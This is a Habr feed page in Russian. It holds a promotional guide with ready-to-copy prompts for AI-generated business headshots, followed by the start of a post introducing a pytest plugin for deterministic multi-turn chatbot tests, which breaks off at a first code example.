Все публикации подряд на Хабре

Как сделать деловое фото с помощью нейросети — ТОП-9 ИИ для бизнес-портрета, промпты и сравнения

Wed, 10 Jun 2026 23:25:54 +0000

Каждый раз, когда нужно обновить аватарку на Линке, HeadHunter или во внутреннем Битриксе компании, в мире плачет один digital-специалист. Потому что варианта обычно два. Либо ты судорожно ищешь в телефоне фотку с чьей-то свадьбы, где ты в костюме, и пытаешься криво обрезать чужое плечо из кадра. Либо сдаешься, отдаешь 10 тысяч за час в фотостудии и на выходе получаешь пластиковый, скованный портрет с натянутой улыбкой «успешного успеха». Привет, 2010-е.

В 2026 году этот визуальный кринж официально отменен. Пока консерваторы бронируют студии и подбирают галстуки, продвинутые профи тратят две минуты, генерируют сочные бизнес-портреты в Smart Casual и забирают лучшие офферы. Рассказываем, как с помощью нейросетей сделать дорогой бизнес-аватар по обычному домашнему селфи, настроить голливудский свет и не превратиться в восковую куклу.

Качественный трикотаж вместо душных галстуков: тренды делового фото в 2026 году

Прежде чем скармливать нейросетям текстовые запросы, давай разберемся с визуальной базой. Если ты попросишь ИИ просто «сделать деловое фото», он по привычке выплюнет тебе привет из двухтысячных: человека в глухом черном пиджаке, с намертво завязанным галстуком и выражением лица, будто он пришел продавать тебе страховку или пылесос.

В ИТ-среде и digital жесткий корпоративный дресс-код окончательно умер. Сегодня HR-директора и крупные клиенты оценивают твою адекватность в том числе по визуальной подаче. Дорогой бизнес-портрет в 2026 году - это не про пафос, а про уверенность, открытость и безупречный вкус.

Если ты хочешь, чтобы твой профиль привлекал сильные офферы, закладывай в нейросеть эти 4 главных визуальных тренда:

1. Натуральные текстуры ( кинематографичный стиль)

Главный маркер дешевой генерации - «эффект мыла», когда лицо выглядит идеально гладким, словно его натерли воском. Забудь про это.

В тренде максимальная трушность. Кожа на фото должна иметь поры, мелкие мимические морщинки и живую текстуру. Итоговая картинка должна выглядеть так, будто тебя сняли на ходу на iPhone 17 Pro или на качественную беззеркалку с премиальным объективом при мягком дневном свете.

2. Стиль Quiet Luxury ( «тихая роскошь») и Smart Casual

Вместо сковывающих воротничков выбираем мягкий, качественный трикотаж, кашемировые водолазки, базовые футболки из плотного хлопка и блейзеры свободного кроя (oversize). Цветовая гамма - благородная природная палитра: песочный, глубокий графит, мягкий оливковый, молочный или кофейный. Это транслирует статус и экспертность гораздо лучше, чем искусственная строгость.

3. Живые локации вместо серых студийных стен

Скучный однотонный фон или банальные стеклянные перегородки офисов Сити навевают тоску.

Переносим бэкграунд в более атмосферные места: светлые коворкинги скандинавского типа, современные минималистичные библиотеки, концептуальные кофейни с панорамными окнами или добавляем на задний план легкую геометрию бруталистичной городской архитектуры. Главное - фон должен быть мягко размыт и работать на твой образ, а не отвлекать внимание.

4. Естественные позы и живые эмоции

Помнишь классическую позу со скрещенными на груди руками (power pose)? Так вот, сегодня она считывается как скрытая агрессия, зажатость или попытка казаться тем, кем ты не являешься.

В тренде расслабленные плечи, естественные позы, спокойный, полувеселый взгляд и легкая, едва заметная полуулыбка. Ты должен выглядеть как сильный профи, с которым приятно и легко работать в одной команде.

ТОП-9 нейросетей для создания делового фото

Промты для делового фото с помощью нейросети: берем готовое и копируем

Мы помним, что топовые нейросети вроде nano_banana_pro и midjourney_toe_bot думают на английском. На нем они идеально считывают текстуры тканей, геометрию света и нюансы стиля. Поэтому формулировки даем на английском - тебе останется только скопировать, поменять пол в скобках и запустить генерацию.

Начнем с главного фаворита этого года - нейросеть nano_banana_pro. В 2026-м она удерживает жесткий топ по фотореализму, потому что умеет генерировать живую текстуру кожи и поры без этого бесячего эффекта «пластикового лица».

1. Стиль Tech-предприниматель ( упор на расслабленный статус)

👉 Сгенерировать деловое фото в Nano_banana_pro

Этот вариант - абсолютный мастхэв для тимлидов, ИТ-директоров, продактов, стартаперов и топ-разработчиков. Короче, для всех, кому нужен дорогой аватар для Хабр Карьеры, профиля спикера на конференциях, Notion или Битрикс24, но без натужного корпоративного пафоса.

👇 Промт для копирования Nano_banana_pro:

High-end business portrait of a [man/woman], 
30 years old, wearing a premium beige cashmere 
turtleneck and a relaxed gray blazer. Soft natural 
daylight from a window, modern minimalist co-working 
space background, cinematic lighting. Shot on 85mm lens, 
f/1.8, photorealistic, visible skin texture, authentic 
smile, look at the camera, 
professional color grading --ar 4:5

Что мы получаем на выходе: Абсолютно живой снимок, где ты в дорогой кашемировой водолазке и свободном блейзере сидишь на фоне светлого, эстетично размытого коворкинга в скандинавском стиле. Никаких серых студийных стен и зажатых поз. Картинка транслирует чистый Smart Casual и выглядит так, будто тебя мимоходом снял топовый инди-фотограф на премиальный объектив.

Вместо душного офисного официоза - эстетика уверенного в себе профи, с которым легко и комфортно работать.

Твой профиль мгновенно вылетает из серой массы одинаковых аватарок.

Инсайд: Если нейросеть в силу своих алгоритмов все-таки пытается выдать тебе идеальное лицо «без единого греха», допиши в самый конец промта фразу natural skin imperfections, subtle pores (естественные несовершенства кожи, едва заметные поры). Это заставит ИИ врубить максимальную трушность на уровне пор и мимики.

2. Стиль Smart Casual ( для экспертов, ценящих баланс)

👉 Сгенерировать деловое фото в нейросети Midjourney_toe_bot

Этот стиль создан для маркетологов, SEO-специалистов, креативных директоров, дизайнеров, востребованных фрилансеров и тимлидов. Идеальный выбор, когда нужно обновить аватар для корпоративного Битрикса, резюме на HeadHunter или личного блога, показав одновременно и высокий профессионализм, и открытость к живой коммуникации.

Midjourney_toe_bot - это абсолютная классика для создания дорогой журнальной эстетики. Он безупречно подбирает фактуру одежды и выстраивает сложный, глубокий свет, который обычно делают только на премиальных съемках.

👇 Промт для копирования Midjourney_toe_bot:

Editorial corporate headshot of a [man/woman] in their 30s, 
short modern haircut, wearing a relaxed-fit 
olive green linen shirt over a white tee. 
Soft shadows, light gray concrete wall background 
with indoor plants, architectural lighting, highly 
detailed, photorealistic skin, 35mm photography style, 
relaxed shoulders, confident soft look --ar 4:5

Что мы получаем на выходе: Свежий, динамичный и глубокий кадр с идеальным балансом. Вместо скованного человека в застегнутом на все пуговицы пиджаке на фото будет профи в качественной оливковой рубашке свободного кроя поверх базовой белой футболки. На бэкграунде - стильная фактурная стена с легкими, аккуратными элементами интерьерного озеленения и мягкими архитектурными тенями.

Кадр полностью избавляет от ощущения «офисного рабства»

Он транслирует, что ты гибкий, современный человек, который идет в ногу с трендами, не прячется за устаревшими масками и готов к созданию крутых проектов.

Инсайд: Эта нейросеть обожает кинематографичные термины. Если хочешь еще сильнее поиграть с настроением кадра, сделать цвета более глубокими, благородными и добавить снимку «веса», вставь в промт фразу shot on 35mm lens, corporate editorial photography style. Картинка сразу станет выглядеть так, будто ее сняли для разворота Forbes.

3. Стиль скандинавский минимализм ( чистота и фокус на личности)

👉 Сгенерировать деловое фото в нейросети Dalle_3_toe_bot

Этот стиль - идеальное решение для аналитиков, проджект-менеджеров, финтех-специалистов, HR-экспертов и всех, кто ценит лаконичность, четкость и аккуратность. Такое ИИ-фото будет безупречно смотреться в резюме, профиле в Telegram, на корпоративном портале компании или в рабочей почте.

Нейросеть dalle_3_toe_bot в 2026 году выбирают за ее математическую точность. Она превосходно понимает геометрию кадра, строго следует ТЗ по фасонам одежды и выдает чистые, аккуратные текстуры без лишнего визуального шума и странных артефактов на заднем плане.

👇Промт для копирования Dalle_3_toe_bot:

A professional close-up portrait of a [man/woman] in a minimalist style.
Wearing a high-quality oversized structured white shirt. 
Neutral, calm expression with a gentle half-smile. 
The background is a softly blurred interior of a 
Scandinavian-style cafe with light wood and clean lines. 
Natural soft lighting, cinematic depth of field, real human 
skin details without smooth filters.

Что мы получаем на выходе: Премиальный портрет крупным планом в светлых, воздушных тонах. На тебе - качественная белая рубашка плотного свободного кроя, а на заднем плане - мягко размытый интерьер скандинавского кафе с элементами светлого дерева и чистыми линиями.

Фокус смещен исключительно на твое лицо, взгляд и мимику

В эпоху, когда все пытаются выделиться пестрыми фонами и сложным реквизитом, строгий и дорогой минимализм выглядит как манифест абсолютной уверенности. Такое фото для компании транслирует структурное мышление, внимание к деталям и внутреннюю дисциплину.

Инсайд: У алгоритмов DALL-E есть давняя слабость - они иногда грешат тем, что делают лица слишком симметричными, кукольными и «причесанными». Чтобы пробить этот барьер и вернуть снимку жизнь, мы добавили в промт фразу real human skin details without smooth filters (реальные детали человеческой кожи без сглаживающих фильтров). Это заставит нейросеть сохранить твою уникальную индивидуальность.

4. Cтиль кинематографичный бизнес-портрет ( глубокий фокус и идеальный свет)

👉 Сгенерировать деловое фото в нейросети Sora_pro

Этот стиль делового фото - выбор топ-менеджеров, продюсеров, бизнес-консультантов, тимлидов крупных проектов и фаундеров. Короче говоря, всех, кому необходимо по-настоящему статусное, авторитетное и визуально дорогое фото для карточки спикера на конференциях, презентаций инвесторам, сайта компании или профиля в Линке.

Нейросеть sora_pro в 2026 году используют не только для видео, но и для создания умопомрачительных статичных кадров. У него лучшая на рынке физика света, идеальный объем и глубина резкости, сопоставимая с голливудским кинопроизводством.

👇Промт для копирования Sora_pro:

Cinematic commercial headshot of a professional [man/woman], 
looking slightly away from the camera
with a confident, warm expression. 
Soft volumetric lighting, wearing a 
navy blue unstructured blazer over a 
premium gray t-shirt. Background is an artistic,
dimly lit premium office lounge with warm amber
accents, highly detailed clothing textures, 
8k resolution static frame, realistic skin physics.

Что мы получаем на выходе: Портрет с невероятным объемом и атмосферой дорогого кино. Ты одет в свободный блейзер глубокого темно-синего цвета поверх качественной базовой футболки, а взгляд направлен чуть в сторону от камеры. На бэкграунде - премиальный лаунж современного офиса с мягкими, теплыми янтарными бликами.

Снимок полностью лишен консервативной офисной скуки

Он выглядит так, будто тебя снимали на профессиональную кинокамеру ARRI Alexa для обложки крупного бизнес-издания. Кадр моментально считывается как маркер высокого статуса, интеллекта и безупречного вкуса.

Инсайд: Эта нейросеть потрясающе работает со сложным светом и фактурой ткани. Фраза unstructured blazer (неструктурированный, мягкий пиджак) в промте критически важна: она убирает излишне жесткую линию плеч, делая образ современным и живым, а не старомодным и карикатурно-официальным.

5. Стиль индустриальный шик ( для тех, кто создает материальный мир)

👉 Сгенерировать деловое фото в нейросети Google_image

Этот стиль идеально подходит архитекторам, инженерам, руководителям производств, строительным и логистическим топ-менеджерам, а также тимлидам, работающим на стыке софта и «железа» (Hardware/IoT). Всем, кому нужно сильное, фактурное фото для резюме, профиля в корпоративном Битриксе или сайта компании.

Инструмент от Google превосходно справляется с передачей сложных промышленных фактур, игрой бликов на металле и стекле, а также выдает идеальный баланс белого при сложном освещении.

👇Промт для копирования в Google_image:

Professional corporate portrait of a [man/woman], 
mid-30s, looking into the camera with a friendly, 
confident smile. Wearing a modern minimalist dark gray 
overshirt over a black eco-cotton t-shirt. Background 
is a softly blurred modern industrial loft office 
with large windows, exposed brick, and steel beams. 
Natural bright overcast daylight, highly detailed, 
realistic skin texture, 8k resolution.

Что мы получаем на выходе: Честный, объемный и сильный портрет с характером. Вместо банальной белой стены - стильное пространство современного лофта с элементами кирпичной кладки и стальных балок. Ты одет в плотную темно-серую рубашку-овершот поверх черной футболки. Кадр транслирует надежность, глубокую экспертность и вовлеченность в реальные, большие процессы.

Такое деловое фото наглядно показывает, что ты умеешь работать со сложными проектами

Текстура лофта на заднем плане добавляет кадру «веса» и стиля, напрочь уничтожая серую офисную тоску.

Инсайд: Эта нейросеть невероятно круто прорабатывает свет в пасмурную погоду. Фраза natural bright overcast daylight (естественный яркий свет в облачный день) гарантирует, что на лице не будет жестких контрастных теней или пересветов под носом и глазами - свет ляжет мягко и ровно, как со студийным софтбоксом.

6. Стиль эко-урбанизм ( динамика большого города)

👉 Сгенерировать деловое фото в нейросети Improve_photo

Этот стиль делового фото - идеальный выбор для урбанистов, ландшафтных архитекторов, продюсеров эко-проектов, инвест-аналитиков нового поколения и всех специалистов, чья работа связана с динамичным ритмом мегаполиса, но без ухода в душный бетон. Такое ИИ-фото будет круто смотреться в карточке спикера для современных урбанистических хакатонов и в корпоративном Битриксе.

Нейросеть improve_photo в 2026 году ценится за то, что она ювелирно работает с готовой геометрией лица и сложными уличными текстурами, собирая кадр воедино без малейшего намека на артефакты и склейки.

👇 Промт для копирования в Improve_photo:

High-end candid corporate portrait of a [man/woman], 
standing outside a modern eco-friendly glass 
skyscraper covered with vertical gardens. 
Wearing a tailored sage green casual jacket over 
a white premium t-shirt. Dynamic composition,
walking position, natural midday sunlight reflecting
off glass panels, clean bokeh effect, cinematic look,
highly texturized skin, 8k resolution.

Что мы получаем на выходе: Живой, полный воздуха и движения кадр в стиле стрит-стайл фотографии. Ты запечатлен в движении на фоне футуристичного стеклянного небоскреба с вертикальным озеленением. На тебе - стильный блейзер благородного оттенка шалфея поверх базовой белой футболки. Естественные солнечные блики отражаются от стеклянных фасадов, создавая объем и глубину.

Образ транслирует прогрессивное мышление, гибкость и умение держать руку на пульсе времени

Это фото буквально дышит свежестью и успехом, убирая напрочь консервативный пафос классического делового портрета.

Инсайд: Эта нейросеть обожает динамику. Чтобы кадр получился по-настоящему живым, мы добавили маркеры dynamic composition, walking position (динамичная композиция, поза в движении). Это заставит алгоритмы уйти от статичной позы «манекена» и выдать естественный шаг, расслабленные плечи и легкий, летящий силуэт.

7. Стиль креативный директор ( эстетика сочного глянца)

👉 Сгенерировать деловое фото в нейросети Оpen_ai_image_bot

Этот вариант создан для пиарщиков, бренд-стратегов, контент-продюсеров, шеф-редакторов медиа и всех, кто строит личный бренд в digital-пространстве. Идеально зайдет для обложки лонгрида, профиля в Тенчате или Telegram-канала.

Эту нейросеть любят за его способность работать со сложными, дорогими фактурами ткани и ювелирную точность в передаче взгляда.

👇 Промт для копирования в Оpen_ai_image_bot:

High-end editorial headshot of a [man/woman], 30s, 
creative director vibe. Wearing a relaxed-fit charcoal 
structured overshirt. Background is a warm studio backlighting,
softly blurred elegant minimalist art gallery with abstract 
paintings. Sharp focus on eyes, highly detailed photorealistic 
skin texture, dramatic soft shadows, premium color grading --ar 4:5

Что мы получаем на выходе: Глубокий, журнальный портрет с атмосферой закрытой презентации или выставки современного искусства. На тебе - плотная графитовая рубашка-овершот свободного кроя, а на бэкграунде мягко светится интерьер минималистичной галереи. Никакого намека на скучную офисную рутину.

Образ транслирует безупречный вкус, креативное мышление и статус человека, который создает тренды, а не просто следует им

Инсайд: Фраза charcoal structured overshirt (структурированная рубашка-овершот цвета древесного угля) - это читерство. Нейросеть выдает плотную, дорогую текстуру ткани, которая в кадре выглядит в сто раз выигрышнее и свежее, чем любой классический блейзер.

8. Стиль нео-классика ( уверенность на стыке стилей)

👉 Сгенерировать деловое фото в нейросети Grok4

Вариант для финансовых аналитиков нового поколения, венчурных инвесторов, крипто-фаундеров и тимлидов крупных консалтинговых проектов. Для тех, кто хочет показать железный профессионализм, но при этом оставаться современным человеком, а не «человеком в футляре».

Нейросеть Grok4 выдает невероятно сочные, контрастные кадры с потрясающей глубиной резкости и очень реалистичной анатомией лица.

👇 Промт для копирования в Grok4:

Cinematic professional portrait of a [man/woman], mid-30s, 
looking directly at the camera with a confident, 
friendly look. Wearing a premium dark chocolate knitted polo shirt.
Background is a blurred luxury modern library with dark wood and 
warm ambient lighting. Shot on 50mm, f/1.4, micro-details on skin,
natural look, no digital smooth filters.

Что мы получаем на выходе: Теплый, объемный портрет, который буквально дышит интеллектом и спокойной уверенностью. Вместо костюма на тебе - вязаное поло глубокого шоколадного оттенка. Задний план - премиальная современная библиотека с благородным темным деревом и мягким точечным светом.

Идеальный баланс между вечной классикой и современным Smart Casual

Кадр показывает, что ты умеешь работать с большими объемами данных и сложными бизнес-процессами, но ценишь комфорт и эстетику.

Инсайд: Мы умышленно заменили стандартную рубашку на knitted polo shirt (вязаное поло). Этот триггер заставляет алгоритмы уйти от образа «сухого клерка» и создать образ интеллектуала с высоким чеком за свои услуги.

9. Стиль концептуальный минимализм ( для визуальных перфекционистов)

👉 Сгенерировать деловое фото в нейросети Сhat_gpt5_1

Мастхэв для UX/UI-дизайнеров, продакт-маркетологов, фронтенд-разработчиков и архитекторов интерфейсов. Подходит для аватарок в Notion, GitHub, Битрикс24 и личных портфолио, где важна безупречная эстетика и геометрия.

Модель превосходно считывает сложные концептуальные запросы и выдает идеальную чистоту кадра без лишней визуальной грязи.

Промт для копирования в Сhat_gpt5_1:

Minimalist corporate studio portrait of a [man/woman] in their late 20s.
Wearing a premium crisp black eco-cotton t-shirt under an 
open light-gray linen blazer. Neutral background with soft
geometric light shadows. Clean shot, photorealistic skin pores 
and imperfections, confident relaxed posture, looking at the camera.

Что мы получаем на выходе: Чистый, воздушный и геометрически выверенный портрет. Базовая черная футболка из плотного хлопка, легкий светло-серый льняной блейзер на распашку и лаконичный светлый фон с мягкими тенями. Максимум воздуха, света и фокуса на твоем лице.

Уверенный взгляд и легкая улыбка подчеркивают профессионализм, статус и открытость к сотрудничеству

Это фото заявляет о твоем перфекционизме, любви к чистому коду или чистому дизайну еще до того, как человек откроет твое резюме или портфолио.

Инсайд: Сочетание linen blazer (льняной блейзер) и базовой футболки мгновенно сбивает с нейросети спесь офисного официоза. Ткань получается с легкой, естественной текстурой, что делает ИИ-фото живым и абсолютно неотличимым от реальной съемки.

4 Ошибки, которые превратят твое ИИ-фото в посмешище для HR

Сгенерировать стильный бизнес-портрет в 2026 году - задача на пару минут, но дьявол, как всегда, кроется в деталях. Нейросети научились круто шить виртуальные пиджаки и выставлять свет, но если потерять бдительность, на выходе можно получить кадр, который вместо восхищения вызовет у рекрутеров легкий ужас.

Разбираем главный визуальный кринж при создании делового фото с помощью нейросети и учимся его избегать.

1. Эффект «пластикового пупса» (Over-styling)

Самый частый косяк новичков - перекрутить настройки бьютификации. Когда нейросеть стирает с твоего лица поры, родинки, мимические морщинки и текстуру кожи, ты превращаешься в восковую фигуру из музея мадам Тюссо. В эпоху, когда в тренде максимальная трушность и живая эстетика, идеальное глянцевое лицо мгновенно выдает дешевую генерацию.

Как надо: Следи, чтобы на финальном ИИ-фото оставались мелкие несовершенства. Кожа должна дышать, иметь поры и текстуру, будто кадр сделан на ходу на хорошую камеру.

2. Поплывшая анатомия и «лишние детали»

Нейросети образца 2026 года стали намного умнее, но они все еще могут знатно накосячить с мелкой геометрией. Сросшиеся воротники рубашки, уходящие в бесконечность пуговицы, сережки, которые висят в воздухе отдельно от ушей, или классика жанра - шестой палец на руке, если ты выбрал позу вполоборота. Если ты зальешь такое фото для компании в Битрикс24, коллеги будут не восхищаться твоим стилем, а зумить картинку в поисках артефактов.

Как надо: Проводи тотальный чекап готового портрета. Безжалостно отправляй в корзину или на доработку кадры, где поплыли швы одежды или форма ушных раковин.

3. Чужое лицо (Синдром самозванца)

Это ловушка, в которую часто попадают при агрессивном использовании face-swap инструментов. Нейросеть берет твое селфи, но в процессе генерации слишком сильно меняет посадку глаз, форму подбородка или линию скул под «идеальный» шаблон. В итоге с аватарки на HR смотрит голливудский актер, а на созвон в Zoom выходит обычный уставший тимлид. Это рождает жесткий диссонанс и подрывает доверие еще до начала собеседования.

Как надо: Итоговое фото для резюме должно на 100% отражать тебя реального. Если твои близкие или коллеги говорят: «Слушай, красиво, но это не ты» — переделывай.

4. Фон из категории «Дорого-богато»

Попытка перенести себя на фоне ИИ в интерьеры частного джета, панорамные окна пентхауса в Нью-Йорке или на фоне автопарка из спорткаров - это моментальный визуальный провал. Такой фальшивый пафос выглядит комично и дешево. То же самое касается и другой крайности - слишком агрессивного, кричащего или неонового бэкграунда, который спорит с лицом за внимание.

Как надо: Выбирай нейтральные, спокойные локации. Мягко размытый светлый коворкинг, минималистичное кафе или сдержанная городская архитектура на фоне сделают твой образ по-настоящему дорогим и статусным без лишних понтов.

Какой должна быть база: правильный исходник для идеального бизнес-портрета

Нейросеть - это математика. Ее работа напрямую зависит от того, какое сырье ты загрузишь на старте. Если скормить ИИ смазанное селфи из бара, сделанное в три часа ночи, то даже самая продвинутая модель выдаст на выходе не топ-менеджера, а криповую цифровую копию с безумным взглядом.

Если ты хочешь получить сочное деловое фото с помощью нейросети, а не пластиковый манекен, твой исходник должен соответствовать четырем простым правилам.

1. Свет - твой главный союзник

Забудь про фото со вспышкой в лоб (привет, эффект зомби) или кадры, снятые под тусклой желтой люстрой. Нейросети критически важен ровный, мягкий свет.

Идеальный вариант: Встань лицом к большому окну в пасмурный день или в легкой тени на улице. Такой свет деликатно подсветит лицо, проявит естественный объем и не создаст жестких черных теней под глазами и носом.

2. Ракурс и мимика: без драмы и кривляний

Оставь фотки вполоборота, томные взгляды снизу вверх и уж тем более «уткогубы» для других соцсетей. Для качественного ИИ фото нужен честный анфас или минимальный поворот головы (буквально на пару градусов).

Иовэйшн: Смотри прямо в объектив. Держи плечи расслабленными, а на лице воспроизведи легкую, едва заметную полуулыбку - ту самую, которая транслирует уверенность и открытость. Никакого оскала или, наоборот, каменного выражения лица, словно ты фотографируешься на паспорт.

3. Максимальная детализация (Никакого мыла)

Чем четче видны твои глаза, текстура кожи, линия подбородка и волоски в прическе, тем меньше нейросети придется фантазировать и дорисовывать детали «от себя». Именно на размытых исходниках ИИ чаще всего ломает анатомию - выдает косые глаза или странную форму ушей.

Как сделать: Протри камеру смартфона. Сделай обычное селфи на основную (заднюю) камеру телефона в максимальном разрешении при хорошем освещении. Не используй встроенные бьюти-фильтры и маски - нейросеть должна видеть твое настоящее лицо.

4. Чистое лицо и открытый лоб

Если у тебя на лице массивные солнцезащитные очки, прядь волос полностью закрывает один глаз или ты подпер подбородок рукой - нейросеть сойдет с ума, пытаясь отделить твою анатомию от сторонних предметов.

Правило: Лицо должно быть полностью открыто. Если носишь оптические очки для зрения — окей, но следи, чтобы на стеклах не было ярких цветных бликов, которые перекрывают зрачки.

FAQ: 10 вопросов о деловых фото с помощью нейросети

Когда заходит речь об ИИ-аватарах для работы, у всех - от джунов до фаундеров и HR-директоров - возникают примерно одинаковые вопросы и опасения. Разбираем топ-10 главных непоняток без сложной технической духоты.

1. Можно ли реально сделать крутое бизнес-фото из обычного домашнего селфи?

Да, это стандартный сценарий в 2026 году. Главное, чтобы твое селфи было четким, с хорошим разрешением и снято при нормальном освещении (например, у окна). Нейросеть без проблем заменит твой домашний худи на стильный блейзер, а фон с обоями - на скандинавский коворкинг.

2. Заметит ли HR-специалист, что мое фото для резюме сгенерировано ИИ?

Если ты использовал качественные промты с упором на текстуру кожи и не перекрутил ползунки ретуши - нет, не заметит. Картинка будет выглядеть как обычный профессиональный снимок на хорошую технику. HR обратит внимание только в том случае, если лицо окажется идеально «пластиковым» или поплывет геометрия воротника.

3. Не будет ли проблем, если на фото в Битрикс24 или Линке я выгляжу круче, чем на созвонах в Zoom?

Легкий digital-тюнинг - это норма. На обычных фотосессиях фотографы тоже выставляют идеальный свет и делают ретушь. Главное - не менять свои черты лица, форму носа или овал головы. Ты должен оставаться узнаваемым на 100%, просто в чуть более удачный и стильный день.

4. На каком языке лучше писать промты для генерации?

Однозначно на английском. Большинство топовых нейросетей (включая midjourney_toe_bot, nano_banana_pro и dalle_3_toe_bot) обучались на англоязычных датасетах. На английском они гораздо точнее понимают фасоны одежды, типы освещения и текстуры. Используй готовые промты из нашего гайда - просто подставь свои параметры.

5. А что делать, если нейросеть упорно дорисовывает мне лишние пальцы или кривые пуговицы?

Использовать точечный инпейнтинг (Inpaint) или инструменты вроде improve_photo для финальной полировки. Если база кадра и лицо получились идеальными, но поплыла мелкая деталь - просто отправь этот кусок на локальную перегенерацию или деликатно поправь в любом ИИ-редакторе.

6. Подходят ли такие ИИ-фото для официальных документов (паспорт, виза, пропуск)?

Для внутренних корпоративных пропусков, бейджей на конференции или карточек в Битрикс24 - да, это отличный вариант. А вот для паспорта, прав или визы - категорически нет. У госорганов есть жесткие биометрические стандарты, и любая генеративная обработка там запрещена.

7. Какую нейросеть выбрать, если у меня старое фото с плохой резкостью?

Для реанимации готовых кадров лучше всего использовать improve_photo. Этот инструмент не придумывает внешность заново, а работает как умный реставратор: убирает зернистость, поднимает детализацию глаз и волос, сохраняя твою полную аутентичность.

8. Могу ли я сгенерировать одинаковые по стилю фото для всей своей команды?

Да, и это огромный плюс для компании. Используя одну и ту же нейросеть (например, dalle_3_toe_bot или google_image) и фиксируя в промте один и тот же фон (например, minimalist light gray concrete wall) и стиль одежды, ты получишь идеально унифицированную команду для сайта или корпоративного портала.

9. Нейросеть постоянно выдает меня в строгом черном костюме, а я хочу Smart Casual. Как это исправить?

ИИ часто падает в банальные шаблоны при слове «business». Чтобы пробить этот барьер, полностью исключи из промта слова suit, tie, tuxedo, classic. Замени их на конкретные триггеры нового стиля: cashmere turtleneck, relaxed-fit blazer, linen shirt, oversized structured shirt.

10. Сколько времени уходит на то, чтобы получить один идеальный аватар?

С технической точки зрения - около 2-5 минут на генерацию нескольких вариантов. Но учитывай время на подбор идеального исходника и отсев кадров с артефактами. Заложи около 15-20 минут на эксперименты с промтами, чтобы выжать тот самый журнальный результат, который продаст тебя дорого.

В 2026 году кнопка «Сделать красиво» в нейросетях стала доступна каждому. Но пока одни генерируют пластиковый кринж из 2020-х, другие за пару кликов забирают лучшие контракты и лояльность HR-директоров топ-уровня.

Чтобы твой бизнес-портрет реально работал на твой личный бренд и продавал тебя дорого, запомни три финальных правила игры, которые остаются за рамками обычных инструкций:

Правило 80/20 в рекрутинге: Первичный скрининг резюме на HH или в Линке занимает у эйчара ровно 3 секунды. Взгляд падает на аватарку до того, как человек успевает прочитать твой стек и опыт. Картинка в стиле Quiet Luxury на подсознательном уровне поднимает твой ценник на 30-40% еще до этапа первого созвона.
ИИ-унификация - новый черный для фаундеров: Если ты руководишь командой или развиваешь компанию, не заставляй сотрудников устраивать ад со студийными съемками для корпоративного Битрикс24. Один зафиксированный промт в dalle_3_toe_bot или google_image сделает из разношерстных селфи команды идеальную, визуально дорогую экосистему для сайта за полчаса. Это транслирует клиентам монолитную структуру бизнеса.
Главный секрет реализма: Нейросети до сих пор мылят картинку, когда пытаются совместить слишком много сущностей. Хочешь идеальный результат? Используй связку: сначала прогони свое базовое селфи через improve_photo, чтобы вытянуть резкость глаз и пор, а уже потом скармливай этот премиальный исходник движкам вроде nano_banana_pro или midjourney_toe_bot. Именно так создаются аватары, под которыми коллеги пишут: «Ого, в какой студии снимался?».

Хватай промты, открывай ботов и создавай визуал, который работает на твой кошелек и статус. Время душных костюмов прошло - пришло время дорогих алгоритмов!

Держите LLM подальше от тестов чат-бота

golikovichev — Wed, 10 Jun 2026 22:35:05 +0000

Держите LLM подальше от тестов чат-бота

Кто тестировал чат-бота, знает: на одной реплике всё просто, а на третьей-четвёртой начинается боль. Бот должен помнить имя, которое вы назвали два хода назад, держать слоты и не сваливаться в «уточните ваш запрос» на ровном месте. И как только садишься это проверять, упираешься в развилку: чем, собственно, проверять ответы многоходового диалога.

Если коротко

LLM, которая оценивает ответы вашего бота, — это вторая недетерминированная система. Теперь перед зелёным CI должны договориться сразу две, и договариваются они не всегда.
Большая часть того, что вы реально хотите проверить в диалоге, скучна и проверяема: спросил ли бот город после того, как получил имя, удержал ли слот, вернул ли правильный ответ на третьей реплике.
pytest-conversational даёт маленький объект Conversation, адаптер бота, который вы пишете сами, и pytest-фикстуры, которые держат порядок реплик и состояние по ходу диалога. На стороне теста никакой модели.
Это alpha. Одиночные и многоходовые проверки работают уже сейчас; YAML-формат сценариев и async-адаптеры пока в планах, не в коробке.

Два способа тестировать ботов, и почему оба болят

Когда вы садитесь тестировать диалоговый интерфейс, обычно оказываетесь в одном из двух лагерей.

Первый лагерь — куча вызовов requests.post. Кидаете боту сообщение, читаете JSON, пишете проверку. Для одной реплики работает. К четвёртой реплике вы уже руками собираете payload с историей, протаскиваете состояние через локальные переменные и копируете один и тот же setup в каждый тест. Когда что-то ломается, сообщение об ошибке говорит, что один dict не равен другому dict, и вы идёте раскапывать, на какой реплике всё пошло не так.

Второй лагерь — полноценный фреймворк для тестирования диалогов, который забирает себе всю обвязку. Он умеет многоходовые сценарии, но привязывает вас к одной платформе и одному способу описывать бота. В день, когда бот переезжает за другой транспорт или вы хотите протестировать обычную Python-функцию, а не HTTP-сервис, вы начинаете бороться с фреймворком.

Есть и третий вариант, который всплывает снова и снова, и именно с ним я хочу поспорить: пусть языковая модель прочитает ответ бота и решит, хорош он или нет. Выглядит заманчиво, потому что модель прощает перефразирование. Бот сказал «конечно, какой город?» вместо «понял, какой город?», а проверяющая модель пожимает плечами и засчитывает ответ.

А теперь посмотрите, что получилось. В вашем наборе тестов теперь две недетерминированные системы, и CI зеленеет только когда обе согласны. Тестируемая модель плывёт, когда вы меняете промпт. Модель-судья плывёт, когда провайдер выкатывает новую версию. Тест, прошедший в понедельник, падает в четверг, хотя в коде вы ничего не трогали. Плюс вы платите задержкой и токенами на каждом прогоне и отдаёте единственное, ради чего тест и нужен: чёткое повторяемое «да» или «нет».

Коллега, который ведёт инженерную часть на платформе чат-ботов, хорошо это сформулировал, когда мы обсуждали тему онлайн. Держите сторону теста детерминированной. Пусть бот будет сколь угодно умным; то, что его проверяет, должно быть тупым и предсказуемым.

Разворот: сделать сторону теста скучной нарочно

Большая часть того, что вас волнует в диалоге, — это не «красиво ли сформулирован ответ». Это структура:

После того как пользователь назвал имя, спрашивает ли бот следующий слот?
Помнит ли бот имя три реплики спустя?
На сообщении вне сценария он откатывается к fallback или выдумывает ответ?
Содержит ли ответ номер заказа, попадает ли в известный паттерн или в известный набор вариантов?

Всё это проверяется без модели. Нужно что-то, что держит порядок реплик, хранит состояние диалога и печатает читаемый транскрипт, когда проверка падает. Это и есть вся работа, которую пытается делать pytest-conversational, и ничего сверх того.

Бота приносите вы. Плагин подключает его к pytest.

Как это выглядит

Установка:

pip install pytest-conversational

Python 3.10 и выше.

Бот — это любой callable, который принимает текст пользователя и диалог, а возвращает строку. Простейший тест:

def my_bot(text, convo):
    if "hello" in text.lower():
        return "hi"
